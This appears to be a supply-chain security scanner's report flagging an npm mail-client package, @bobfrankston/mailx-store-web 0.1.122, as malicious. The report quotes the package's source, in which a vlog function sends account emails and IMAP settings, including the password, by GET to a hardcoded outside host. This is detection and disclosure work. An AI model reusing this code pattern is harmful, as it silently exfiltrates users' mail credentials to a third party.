Loading npm security reports…

@bobfrankston/mailx-store-web@0.1.122: Malicious npm security | LPM Firewall

registry / @bobfrankston/mailx-store-web / 0.1.122

@bobfrankston/mailx-store-web@0.1.122

AI Security Review

scanned 16d ago · by lpm-firewall-ai

When the mail client initializes, account records are copied into a URL and sent to rmf39.aaz.lt. The Android init path stringifies the IMAP object, which is built with a password field.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Calling initAndroid or the worker init path that registers accounts.

Impact

Mailbox email addresses and IMAP settings, including a stored password when present, are disclosed to that host.

Mechanism

vlog encodes up to 800 characters of the log line into the path of a GET request to https://rmf39.aaz.lt/logit/ and discards errors.

Attack narrative

Starting the packaged mail client calls initAndroid or the worker initializer. Registration builds a log line with the account email and JSON.stringify of the IMAP config, whose normalized shape includes password. vlog places that text in a GET to https://rmf39.aaz.lt/logit/ with silent=true and an empty catch. The same host is wired in the worker bundle and the main-thread vlog bridge. No install hook is required; the send happens on normal startup.

AI rationale

Account startup silently uploads IMAP configuration, including the password field, to the hardcoded host rmf39.aaz.lt. That is a default credential export to a package-controlled recipient outside the mail provider.

Evidence

android-bootstrap.tsweb-settings.tsworker-entry.tsworker-bundle.jsmain-thread-host.tssync-manager.ts

Network endpoints1

Source & flagged code

7 flagged · loading source

worker-entry.tsView file

37try { L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); L39: } catch { /* ignore */ } ... L90: if (!homeRes.ok) return null; L91: const home = (await homeRes.json() as any).files?.[0]; L92: if (!home?.id) return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

35function vlog(msg: string): void { // Route through main thread for logit (fetch works in workers but keep consistent) try { fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});

High

Ai Review Evidence

The same hardcoded logit host is in worker-entry.ts, worker-bundle.js, and main-thread-host.ts.

worker-entry.tsView on unpkg · L35

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.120 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.120 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 35b409f9bea3f4b9 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.120 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.120 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.tsView file

56function vlog(msg: string): void { try { fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); } catch { /* ignore */ }

High

Ai Review Evidence

vlog sends the text in a GET path to https://rmf39.aaz.lt/logit/ and ignores failures.

android-bootstrap.tsView on unpkg · L56

1542vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`);

High

Ai Review Evidence

initAndroid logs the full IMAP account object with JSON.stringify, and that object includes the password field.

android-bootstrap.tsView on unpkg · L1542

web-settings.tsView file

284auth: acct.imap?.auth || provider?.imap.auth || "password", user: acct.imap?.user || user, password: acct.imap?.password || acct.password,

High

Ai Review Evidence

initAndroid logs the full IMAP account object with JSON.stringify, and that object includes the password field.

web-settings.tsView on unpkg · L284

Source & flagged code

7 flagged

worker-entry.tsView file

Lines 15-57typescript

15import {

16 loadAccounts, loadAccountsFromCloud, loadSettings, clearSettings,

17 setGDriveTokenProvider, setGDriveFolderId

18} from "./web-settings.js";

19

20// ── Globals ──

21

22let db: WebMailxDB;

23let bodyStore: WebMessageStore;

24let syncManager: SyncManager;

25let service: WebMailxService;

26

27const post = (msg: any) => (self as any).postMessage(msg);

28

29// ── Event emission → main thread ──

30

31function emitEvent(event: any): void {

32 post({ type: "event", event });

33}

34

35function vlog(msg: string): void {

36 // Route through main thread for logit (fetch works in workers but keep consistent)

37 try {

38 fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});

High

Ai Review Evidence

The same hardcoded logit host is in worker-entry.ts, worker-bundle.js, and main-thread-host.ts.

worker-entry.tsView on unpkg · L35

39 } catch { /* ignore */ }

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

40}

41

42// ── Native bridge proxy ──

43

44let nativeReqCounter = 0;

45const pendingNative = new Map<number, { resolve: (v: any) => void; reject: (e: Error) => void }>();

46

47function nativeRequest(op: string, args?: any[]): Promise<any> {

48 const reqId = ++nativeReqCounter;

49 return new Promise((resolve, reject) => {

50 pendingNative.set(reqId, { resolve, reject });

51 post({ type: "native", reqId, op, args });

52 setTimeout(() => {

53 if (pendingNative.has(reqId)) {

54 pendingNative.delete(reqId);

55 reject(new Error(`Native ${op} timeout`));

56 }

57 }, 60000);

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.120 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.120 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 35b409f9bea3f4b9 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.120 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.120 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.tsView file

Lines 36-76typescript

36const eventHandlers: ((event: any) => void)[] = [];

37

38// ── Event emitter ──

39

40function emitEvent(event:

web-settings.tsView file

Lines 264-304typescript

264 imap: { host: "imap.mail.me.com", port: 993, tls: true, auth: "password" },

265 smtp: { host: "smtp.mail.me.com", port

Lines 1522-1562typescript

1522 }

1523 } catch (e: any) {

1524 console.warn(`[android] List debug: ${e.message}`);

1525 }

1526 // Shared allowlist/preferences: pull NOW that Drive auth is

1527 // live, instead of waiting for the first message read to

1528 // trigger the lazy revalidate (which is itself served stale).

1529 primeSharedConfigs()

1530 .catch(e => console.warn(`[android] prime shared configs: ${e?.message || e}`));

1531 // Read accounts directly from GDrive (bypass IndexedDB cache)

1532 narrate("Loading accounts from Google Drive…");

1533 const gdriveAccounts = await loadAccountsFromCloud();

1534 console.log(`[android] GDrive returned ${gdriveAccounts.length} accounts: ${gdriveAccounts.map(a => a.id).join(",")}`);

1535 if (gdriveAccounts.length > 0) {

1536 // Use canonical GDrive accounts (upsert handles overwrites)

1537 accounts = gdriveAccounts;

1538 const enabled = accounts.filter(a => a.enabled);

1539 narrate(`Found ${enabled.length} account(s): ${enabled.map(a => a.email || a.id).join(", ")}`);

1540 let setUp = 0;

1541 for (const account of accounts) {

1542 vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`);

High

Ai Review Evidence

initAndroid logs the full IMAP account object with JSON.stringify, and that object includes the password field.

android-bootstrap.tsView on unpkg · L1542

1543 if (!account.enabled) {

1544 vlog(`init: ${account.id} disabled, skipping`);

1545 continue;

1546 }

1547 narrate(`Setting up ${account.email || account.id}… (${++setUp}/${enabled.length})`);

1548 const domain = account.email?.split("@")[1]?.toLowerCase() || "";

1549 if (domain === "gmail.com" || domain === "googlemail.com") {

1550 syncManager.setTokenProvider(account.id, createNativeTokenProvider(account.email));

1551 }

1552 await syncManager.addAccount(account);

1553 }

1554 console.log(`[android] Loaded ${accounts.length} accounts from GDrive`);

1555 // C157: sync NOW. The boot-time syncAll ran before these

1556 // providers existed (fresh install: zero local accounts),

1557 // so without this kick the folder tree stayed empty until

1558 // the next 60 s poll tick — on top of OAuth consent time,

1559 // that read as "frozen for minutes". syncAll's inbox

1560 // phase lists folders first, so the tree paints in

1561 // seconds; message counts stream in behind.

1562 narrate(`Syncing ${enabled.map(a => a.email || a.id).join(", ")}…`);